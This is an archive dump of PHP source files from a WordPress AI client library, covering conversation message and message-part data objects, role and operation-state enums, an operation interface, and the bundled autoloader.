 * Enum for message roles in AI conversations.
 *
 * @since 0.1.0
 *
 * @method static self user() Creates an instance for USER role.
 * @method static self model() Creates an instance for MODEL role.
 * @method bool isUser() Checks if the role is USER.
 * @method bool isModel() Checks if the role is MODEL.
 */
class MessageRoleEnum extends AbstractEnum
{
    /**
     * User role - messages from the user.
     */
    public const USER = 'user';
    /**
     * Model role - messages from the AI model.
     */
    public const MODEL = 'model';
}
src/Messages/DTO/ModelMessage.php000064400000001544152205304550012613 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Messages\DTO;

use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
/**
 * Represents a message from the AI model.
 *
 * This is a convenience class that automatically sets the role to MODEL.
 * Model messages contain the AI's responses.
 *
 * Important: Do not rely on `instanceof ModelMessage` to determine the message role.
 * This is merely a helper class for construction. Always use `$message->getRole()`
 * to check the role of a message.
 *
 * @since 0.1.0
 */
class ModelMessage extends \WordPress\AiClient\Messages\DTO\Message
{
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param MessagePart[] $parts The parts that make up this message.
     */
    public function __construct(array $parts)
    {
        parent::__construct(MessageRoleEnum::model(), $parts);
    }
}
src/Messages/DTO/Message.php000064400000013044152205304550011630 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Messages\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
/**
 * Represents a message in an AI conversation.
 *
 * Messages are the fundamental unit of communication with AI models,
 * containing a role and one or more parts with different content types.
 *
 * @since 0.1.0
 *
 * @phpstan-import-type MessagePartArrayShape from MessagePart
 *
 * @phpstan-type MessageArrayShape array{
 *     role: string,
 *     parts: array<MessagePartArrayShape>
 * }
 *
 * @extends AbstractDataTransferObject<MessageArrayShape>
 */
class Message extends AbstractDataTransferObject
{
    public const KEY_ROLE = 'role';
    public const KEY_PARTS = 'parts';
    /**
     * @var MessageRoleEnum The role of the message sender.
     */
    protected MessageRoleEnum $role;
    /**
     * @var MessagePart[] The parts that make up this message.
     */
    protected array $parts;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param MessageRoleEnum $role The role of the message sender.
     * @param MessagePart[] $parts The parts that make up this message.
     * @throws InvalidArgumentException If parts contain invalid content for the role.
     */
    public function __construct(MessageRoleEnum $role, array $parts)
    {
        $this->role = $role;
        $this->parts = $parts;
        $this->validateParts();
    }
    /**
     * Gets the role of the message sender.
     *
     * @since 0.1.0
     *
     * @return MessageRoleEnum The role.
     */
    public function getRole(): MessageRoleEnum
    {
        return $this->role;
    }
    /**
     * Gets the message parts.
     *
     * @since 0.1.0
     *
     * @return MessagePart[] The message parts.
     */
    public function getParts(): array
    {
        return $this->parts;
    }
    /**
     * Returns a new instance with the given part appended.
     *
     * @since 0.1.0
     *
     * @param MessagePart $part The part to append.
     * @return Message A new instance with the part appended.
     * @throws InvalidArgumentException If the part is invalid for the role.
     */
    public function withPart(\WordPress\AiClient\Messages\DTO\MessagePart $part): \WordPress\AiClient\Messages\DTO\Message
    {
        $newParts = $this->parts;
        $newParts[] = $part;
        return new \WordPress\AiClient\Messages\DTO\Message($this->role, $newParts);
    }
    /**
     * Validates that the message parts are appropriate for the message role.
     *
     * @since 0.1.0
     *
     * @return void
     * @throws InvalidArgumentException If validation fails.
     */
    private function validateParts(): void
    {
        foreach ($this->parts as $part) {
            $type = $part->getType();
            if ($this->role->isUser() && $type->isFunctionCall()) {
                throw new InvalidArgumentException('User messages cannot contain function calls.');
            }
            if ($this->role->isModel() && $type->isFunctionResponse()) {
                throw new InvalidArgumentException('Model messages cannot contain function responses.');
            }
        }
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_ROLE => ['type' => 'string', 'enum' => MessageRoleEnum::getValues(), 'description' => 'The role of the message sender.'], self::KEY_PARTS => ['type' => 'array', 'items' => \WordPress\AiClient\Messages\DTO\MessagePart::getJsonSchema(), 'minItems' => 1, 'description' => 'The parts that make up this message.']], 'required' => [self::KEY_ROLE, self::KEY_PARTS]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return MessageArrayShape
     */
    public function toArray(): array
    {
        return [self::KEY_ROLE => $this->role->value, self::KEY_PARTS => array_map(function (\WordPress\AiClient\Messages\DTO\MessagePart $part) {
            return $part->toArray();
        }, $this->parts)];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return self The specific message class based on the role.
     */
    final public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_ROLE, self::KEY_PARTS]);
        $role = MessageRoleEnum::from($array[self::KEY_ROLE]);
        $partsData = $array[self::KEY_PARTS];
        $parts = array_map(function (array $partData) {
            return \WordPress\AiClient\Messages\DTO\MessagePart::fromArray($partData);
        }, $partsData);
        // Determine which concrete class to instantiate based on role
        if ($role->isUser()) {
            return new \WordPress\AiClient\Messages\DTO\UserMessage($parts);
        } elseif ($role->isModel()) {
            return new \WordPress\AiClient\Messages\DTO\ModelMessage($parts);
        } else {
            // Only USER and MODEL roles are supported
            throw new InvalidArgumentException('Invalid message role: ' . $role->value);
        }
    }
    /**
     * Performs a deep clone of the message.
     *
     * This method ensures that message part objects are cloned to prevent
     * modifications to the cloned message from affecting the original.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        $clonedParts = [];
        foreach ($this->parts as $part) {
            $clonedParts[] = clone $part;
        }
        $this->parts = $clonedParts;
    }
}
src/Messages/DTO/MessagePart.php000064400000025055152205304550012464 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Messages\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Files\DTO\File;
use WordPress\AiClient\Messages\Enums\MessagePartChannelEnum;
use WordPress\AiClient\Messages\Enums\MessagePartTypeEnum;
use WordPress\AiClient\Tools\DTO\FunctionCall;
use WordPress\AiClient\Tools\DTO\FunctionResponse;
/**
 * Represents a part of a message.
 *
 * Messages can contain multiple parts of different types, such as text, files,
 * function calls, etc. This DTO encapsulates one such part.
 *
 * @since 0.1.0
 *
 * @phpstan-import-type FileArrayShape from File
 * @phpstan-import-type FunctionCallArrayShape from FunctionCall
 * @phpstan-import-type FunctionResponseArrayShape from FunctionResponse
 *
 * @phpstan-type MessagePartArrayShape array{
 *     channel: string,
 *     type: string,
 *     thoughtSignature?: string,
 *     text?: string,
 *     file?: FileArrayShape,
 *     functionCall?: FunctionCallArrayShape,
 *     functionResponse?: FunctionResponseArrayShape
 * }
 *
 * @extends AbstractDataTransferObject<MessagePartArrayShape>
 */
class MessagePart extends AbstractDataTransferObject
{
    public const KEY_CHANNEL = 'channel';
    public const KEY_TYPE = 'type';
    public const KEY_THOUGHT_SIGNATURE = 'thoughtSignature';
    public const KEY_TEXT = 'text';
    public const KEY_FILE = 'file';
    public const KEY_FUNCTION_CALL = 'functionCall';
    public const KEY_FUNCTION_RESPONSE = 'functionResponse';
    /**
     * @var MessagePartChannelEnum The channel this message part belongs to.
     */
    private MessagePartChannelEnum $channel;
    /**
     * @var MessagePartTypeEnum The type of this message part.
     */
    private MessagePartTypeEnum $type;
    /**
     * @var string|null Thought signature for extended thinking.
     */
    private ?string $thoughtSignature = null;
    /**
     * @var string|null Text content (when type is TEXT).
     */
    private ?string $text = null;
    /**
     * @var File|null File data (when type is FILE).
     */
    private ?File $file = null;
    /**
     * @var FunctionCall|null Function call request (when type is FUNCTION_CALL).
     */
    private ?FunctionCall $functionCall = null;
    /**
     * @var FunctionResponse|null Function response (when type is FUNCTION_RESPONSE).
     */
    private ?FunctionResponse $functionResponse = null;
    /**
     * Constructor that accepts various content types and infers the message part type.
     *
     * @since 0.1.0
     *
     * @param mixed $content The content of this message part.
     * @param MessagePartChannelEnum|null $channel The channel this part belongs to. Defaults to CONTENT.
     * @param string|null $thoughtSignature Optional thought signature for extended thinking.
     * @throws InvalidArgumentException If an unsupported content type is provided.
     */
    public function __construct($content, ?MessagePartChannelEnum $channel = null, ?string $thoughtSignature = null)
    {
        $this->channel = $channel ?? MessagePartChannelEnum::content();
        $this->thoughtSignature = $thoughtSignature;
        if (is_string($content)) {
            $this->type = MessagePartTypeEnum::text();
            $this->text = $content;
        } elseif ($content instanceof File) {
            $this->type = MessagePartTypeEnum::file();
            $this->file = $content;
        } elseif ($content instanceof FunctionCall) {
            $this->type = MessagePartTypeEnum::functionCall();
            $this->functionCall = $content;
        } elseif ($content instanceof FunctionResponse) {
            $this->type = MessagePartTypeEnum::functionResponse();
            $this->functionResponse = $content;
        } else {
            $type = is_object($content) ? get_class($content) : gettype($content);
            throw new InvalidArgumentException(sprintf('Unsupported content type %s. Expected string, File, ' . 'FunctionCall, or FunctionResponse.', $type));
        }
    }
    /**
     * Gets the channel this message part belongs to.
     *
     * @since 0.1.0
     *
     * @return MessagePartChannelEnum The channel.
     */
    public function getChannel(): MessagePartChannelEnum
    {
        return $this->channel;
    }
    /**
     * Gets the type of this message part.
     *
     * @since 0.1.0
     *
     * @return MessagePartTypeEnum The type.
     */
    public function getType(): MessagePartTypeEnum
    {
        return $this->type;
    }
    /**
     * Gets the thought signature.
     *
     * @since 1.3.0
     *
     * @return string|null The thought signature or null if not set.
     */
    public function getThoughtSignature(): ?string
    {
        return $this->thoughtSignature;
    }
    /**
     * Gets the text content.
     *
     * @since 0.1.0
     *
     * @return string|null The text content or null if not a text part.
     */
    public function getText(): ?string
    {
        return $this->text;
    }
    /**
     * Gets the file.
     *
     * @since 0.1.0
     *
     * @return File|null The file or null if not a file part.
     */
    public function getFile(): ?File
    {
        return $this->file;
    }
    /**
     * Gets the function call.
     *
     * @since 0.1.0
     *
     * @return FunctionCall|null The function call or null if not a function call part.
     */
    public function getFunctionCall(): ?FunctionCall
    {
        return $this->functionCall;
    }
    /**
     * Gets the function response.
     *
     * @since 0.1.0
     *
     * @return FunctionResponse|null The function response or null if not a function response part.
     */
    public function getFunctionResponse(): ?FunctionResponse
    {
        return $this->functionResponse;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        $channelSchema = ['type' => 'string', 'enum' => MessagePartChannelEnum::getValues(), 'description' => 'The channel this message part belongs to.'];
        $thoughtSignatureSchema = ['type' => 'string', 'description' => 'Thought signature for extended thinking.'];
        return ['oneOf' => [['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::text()->value], self::KEY_TEXT => ['type' => 'string', 'description' => 'Text content.'], self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_TEXT], 'additionalProperties' => \false], ['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::file()->value], self::KEY_FILE => File::getJsonSchema(), self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_FILE], 'additionalProperties' => \false], ['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::functionCall()->value], self::KEY_FUNCTION_CALL => FunctionCall::getJsonSchema(), self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_FUNCTION_CALL], 'additionalProperties' => \false], ['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::functionResponse()->value], self::KEY_FUNCTION_RESPONSE => FunctionResponse::getJsonSchema(), self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_FUNCTION_RESPONSE], 'additionalProperties' => \false]]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return MessagePartArrayShape
     */
    public function toArray(): array
    {
        $data = [self::KEY_CHANNEL => $this->channel->value, self::KEY_TYPE => $this->type->value];
        if ($this->text !== null) {
            $data[self::KEY_TEXT] = $this->text;
        } elseif ($this->file !== null) {
            $data[self::KEY_FILE] = $this->file->toArray();
        } elseif ($this->functionCall !== null) {
            $data[self::KEY_FUNCTION_CALL] = $this->functionCall->toArray();
        } elseif ($this->functionResponse !== null) {
            $data[self::KEY_FUNCTION_RESPONSE] = $this->functionResponse->toArray();
        } else {
            throw new RuntimeException('MessagePart requires one of: text, file, functionCall, or functionResponse. ' . 'This should not be a possible condition.');
        }
        if ($this->thoughtSignature !== null) {
            $data[self::KEY_THOUGHT_SIGNATURE] = $this->thoughtSignature;
        }
        return $data;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        if (isset($array[self::KEY_CHANNEL])) {
            $channel = MessagePartChannelEnum::from($array[self::KEY_CHANNEL]);
        } else {
            $channel = null;
        }
        $thoughtSignature = $array[self::KEY_THOUGHT_SIGNATURE] ?? null;
        // Check which properties are set to determine how to construct the MessagePart
        if (isset($array[self::KEY_TEXT])) {
            return new self($array[self::KEY_TEXT], $channel, $thoughtSignature);
        } elseif (isset($array[self::KEY_FILE])) {
            return new self(File::fromArray($array[self::KEY_FILE]), $channel, $thoughtSignature);
        } elseif (isset($array[self::KEY_FUNCTION_CALL])) {
            return new self(FunctionCall::fromArray($array[self::KEY_FUNCTION_CALL]), $channel, $thoughtSignature);
        } elseif (isset($array[self::KEY_FUNCTION_RESPONSE])) {
            return new self(FunctionResponse::fromArray($array[self::KEY_FUNCTION_RESPONSE]), $channel, $thoughtSignature);
        } else {
            throw new InvalidArgumentException('MessagePart requires one of: text, file, functionCall, or functionResponse.');
        }
    }
    /**
     * Performs a deep clone of the message part.
     *
     * This method ensures that nested objects (file, function call, function response)
     * are cloned to prevent modifications to the cloned part from affecting the original.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        if ($this->file !== null) {
            $this->file = clone $this->file;
        }
        if ($this->functionCall !== null) {
            $this->functionCall = clone $this->functionCall;
        }
        if ($this->functionResponse !== null) {
            $this->functionResponse = clone $this->functionResponse;
        }
    }
}
src/Messages/DTO/UserMessage.php000064400000001454152205304550012471 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Messages\DTO;

use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
/**
 * Represents a message from a user.
 *
 * This is a convenience class that automatically sets the role to USER.
 *
 * Important: Do not rely on `instanceof UserMessage` to determine the message role.
 * This is merely a helper class for construction. Always use `$message->getRole()`
 * to check the role of a message.
 *
 * @since 0.1.0
 */
class UserMessage extends \WordPress\AiClient\Messages\DTO\Message
{
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param MessagePart[] $parts The parts that make up this message.
     */
    public function __construct(array $parts)
    {
        parent::__construct(MessageRoleEnum::user(), $parts);
    }
}
src/Operations/DTO/GenerativeAiOperation.php000064400000012132152205304550015041 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Operations\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Operations\Contracts\OperationInterface;
use WordPress\AiClient\Operations\Enums\OperationStateEnum;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
 * Represents a long-running generative AI operation.
 *
 * This DTO tracks the progress of generative AI tasks that may not complete
 * immediately, providing access to the result once available.
 *
 * @since 0.1.0
 *
 * @phpstan-import-type GenerativeAiResultArrayShape from GenerativeAiResult
 *
 * @phpstan-type GenerativeAiOperationArrayShape array{id: string, state: string, result?: GenerativeAiResultArrayShape}
 *
 * @extends AbstractDataTransferObject<GenerativeAiOperationArrayShape>
 */
class GenerativeAiOperation extends AbstractDataTransferObject implements OperationInterface
{
    public const KEY_ID = 'id';
    public const KEY_STATE = 'state';
    public const KEY_RESULT = 'result';
    /**
     * @var string Unique identifier for this operation.
     */
    private string $id;
    /**
     * @var OperationStateEnum The current state of the operation.
     */
    private OperationStateEnum $state;
    /**
     * @var GenerativeAiResult|null The result once the operation completes.
     */
    private ?GenerativeAiResult $result;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param string $id Unique identifier for this operation.
     * @param OperationStateEnum $state The current state of the operation.
     * @param GenerativeAiResult|null $result The result once the operation completes.
     */
    public function __construct(string $id, OperationStateEnum $state, ?GenerativeAiResult $result = null)
    {
        $this->id = $id;
        $this->state = $state;
        $this->result = $result;
    }
    /**
     * Creates a deep clone of this operation.
     *
     * Clones the result object if present to ensure the cloned
     * operation is independent of the original.
     * The state enum is immutable and can be safely shared.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        // Clone the result if present (GenerativeAiResult has __clone)
        if ($this->result !== null) {
            $this->result = clone $this->result;
        }
        // Note: $state is an immutable enum and can be safely shared
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public function getId(): string
    {
        return $this->id;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public function getState(): OperationStateEnum
    {
        return $this->state;
    }
    /**
     * Gets the operation result.
     *
     * @since 0.1.0
     *
     * @return GenerativeAiResult|null The result or null if not yet complete.
     */
    public function getResult(): ?GenerativeAiResult
    {
        return $this->result;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['oneOf' => [
            // Succeeded state - has result
            ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this operation.'], self::KEY_STATE => ['type' => 'string', 'const' => OperationStateEnum::succeeded()->value], self::KEY_RESULT => GenerativeAiResult::getJsonSchema()], 'required' => [self::KEY_ID, self::KEY_STATE, self::KEY_RESULT], 'additionalProperties' => \false],
            // All other states - no result
            ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this operation.'], self::KEY_STATE => ['type' => 'string', 'enum' => [OperationStateEnum::starting()->value, OperationStateEnum::processing()->value, OperationStateEnum::failed()->value, OperationStateEnum::canceled()->value], 'description' => 'The current state of the operation.']], 'required' => [self::KEY_ID, self::KEY_STATE], 'additionalProperties' => \false],
        ]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return GenerativeAiOperationArrayShape
     */
    public function toArray(): array
    {
        $data = [self::KEY_ID => $this->id, self::KEY_STATE => $this->state->value];
        if ($this->result !== null) {
            $data[self::KEY_RESULT] = $this->result->toArray();
        }
        return $data;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_ID, self::KEY_STATE]);
        $state = OperationStateEnum::from($array[self::KEY_STATE]);
        if ($state->isSucceeded()) {
            // If the operation has succeeded, it must have a result
            static::validateFromArrayData($array, [self::KEY_RESULT]);
        }
        $result = null;
        if (isset($array[self::KEY_RESULT])) {
            $result = GenerativeAiResult::fromArray($array[self::KEY_RESULT]);
        }
        return new self($array[self::KEY_ID], $state, $result);
    }
}
src/Operations/Enums/OperationStateEnum.php000064400000002503152205304550015045 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Operations\Enums;

use WordPress\AiClient\Common\AbstractEnum;
/**
 * Enum for operation states.
 *
 * @since 0.1.0
 *
 * @method static self starting() Creates an instance for STARTING state.
 * @method static self processing() Creates an instance for PROCESSING state.
 * @method static self succeeded() Creates an instance for SUCCEEDED state.
 * @method static self failed() Creates an instance for FAILED state.
 * @method static self canceled() Creates an instance for CANCELED state.
 * @method bool isStarting() Checks if the state is STARTING.
 * @method bool isProcessing() Checks if the state is PROCESSING.
 * @method bool isSucceeded() Checks if the state is SUCCEEDED.
 * @method bool isFailed() Checks if the state is FAILED.
 * @method bool isCanceled() Checks if the state is CANCELED.
 */
class OperationStateEnum extends AbstractEnum
{
    /**
     * Operation is starting.
     */
    public const STARTING = 'starting';
    /**
     * Operation is processing.
     */
    public const PROCESSING = 'processing';
    /**
     * Operation succeeded.
     */
    public const SUCCEEDED = 'succeeded';
    /**
     * Operation failed.
     */
    public const FAILED = 'failed';
    /**
     * Operation was canceled.
     */
    public const CANCELED = 'canceled';
}
src/Operations/Contracts/OperationInterface.php000064400000001413152205304550015710 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Operations\Contracts;

use WordPress\AiClient\Operations\Enums\OperationStateEnum;
/**
 * Interface for AI operations.
 *
 * Operations represent long-running AI tasks that may not complete immediately.
 * They provide a way to track the progress and retrieve results asynchronously.
 *
 * @since 0.1.0
 */
interface OperationInterface
{
    /**
     * Gets the operation ID.
     *
     * @since 0.1.0
     *
     * @return string The unique operation identifier.
     */
    public function getId(): string;
    /**
     * Gets the current state of the operation.
     *
     * @since 0.1.0
     *
     * @return OperationStateEnum The operation state.
     */
    public function getState(): OperationStateEnum;
}
autoload.php000064400000002602152205304550007066 0ustar00<?php
/**
 * Autoloader for the bundled PHP AI Client library.
 *
 * This file is generated by tools/php-ai-client/installer.sh.
 * Do not edit directly.
 *
 * @package WordPress
 * @subpackage AI
 * @since 7.0.0
 */

spl_autoload_register(
	static function ( $class_name ) {
		// Namespace prefix for the AI client.
		$client_prefix     = 'WordPress\\AiClient\\';
		$client_prefix_len = 19; // strlen( 'WordPress\\AiClient\\' )

		// Namespace prefix for scoped dependencies (includes Psr\*, Http\*, etc.).
		$scoped_prefix     = 'WordPress\\AiClientDependencies\\';
		$scoped_prefix_len = 31; // strlen( 'WordPress\\AiClientDependencies\\' )

		$base_dir = __DIR__;

		// 1. WordPress\AiClient\* → src/
		if ( 0 === strncmp( $class_name, $client_prefix, $client_prefix_len ) ) {
			$relative_class = substr( $class_name, $client_prefix_len );
			$file           = $base_dir . '/src/' . str_replace( '\\', '/', $relative_class ) . '.php';
			if ( file_exists( $file ) ) {
				require $file;
			}
			return;
		}

		// 2. WordPress\AiClientDependencies\* → third-party/ (strip prefix).
		if ( 0 === strncmp( $class_name, $scoped_prefix, $scoped_prefix_len ) ) {
			$relative_class = substr( $class_name, $scoped_prefix_len );
			$file           = $base_dir . '/third-party/' . str_replace( '\\', '/', $relative_class ) . '.php';
			if ( file_exists( $file ) ) {
				require $file;
			}
			return;
		}
	}
);
Disabled functions: None